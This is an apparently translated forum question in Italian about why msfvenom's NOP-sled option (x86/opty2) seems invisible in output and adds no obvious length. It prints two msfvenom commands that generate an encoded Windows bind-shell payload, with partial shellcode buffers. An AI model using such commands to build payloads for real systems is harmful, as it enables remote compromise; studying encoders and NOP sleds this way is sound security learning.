Sto generando payload con MSFVenom ed ecco un esempio di output:
user@localhost:~ $ msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d\x20' -i 3 -n 200 -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai succeeded with size 382 (iteration=1)
x86/shikata_ga_nai succeeded with size 409 (iteration=2)
Successfully added NOP sled from x86/opty2
buf = ""
buf += "\xb1\xbb\x92\xb5\xba\x3d\xb3\x7f\x78\x75\x3f\xa8\x70"
buf += "\x7e\x7f\x78\x73\x76\x7d\x79\x71\x72\x08\xe2\x3d\x89"
...
buf += "\xd7\x7d\x08\xa6\xbf\x4d\x40\x33\xd1\x3c\x45\x60\x0c"
buf += "\xfe\x3e\xbc\x2f\x68\x12\x79\x54\xe1\x52\x49"
In questo caso l'opzione -n 200
consiste nell'appendere un slepper NOP da 200 byte, ma non è visibile nel payload. Suppongo che stia usando un qualche tipo di codifica per la slitta NOP (è ciò che Successfully added NOP sled from x86/opty2
significa?)
Quello che sto cercando di capire: lo scopo di una slitta NOP è di scivolare nello shellcode, se la slitta NOP ha bisogno di essere decodificata per prima, non ha battuto il punto? Qual è il vantaggio qui?
EDIT:
Ecco un esempio di output senza -n 200
. Non capisco come potrebbe essere la stessa lunghezza totale.
user@localhost:~ $ msfvenom -p windows/shell_bind_tcp -b '\x00\x0a\x0d\x20' -i 3 -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 22 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 355 (iteration=0)
x86/shikata_ga_nai succeeded with size 382 (iteration=1)
x86/shikata_ga_nai succeeded with size 409 (iteration=2)
buf = ""
buf += "\xda\xdf\xba\x09\x7e\x1f\x39\xd9\x74\x24\xf4\x58\x2b"
...
buf += "\xab\xbe\x3e\x2e\x12\xf8\x76\xb1\xad\x34\x21\x43\x21"
buf += "\xd8\xe1\xf8\x2e\x3d\x5b"
L'unica differenza è la mancanza della linea
Successfully added NOP sled from x86/opty2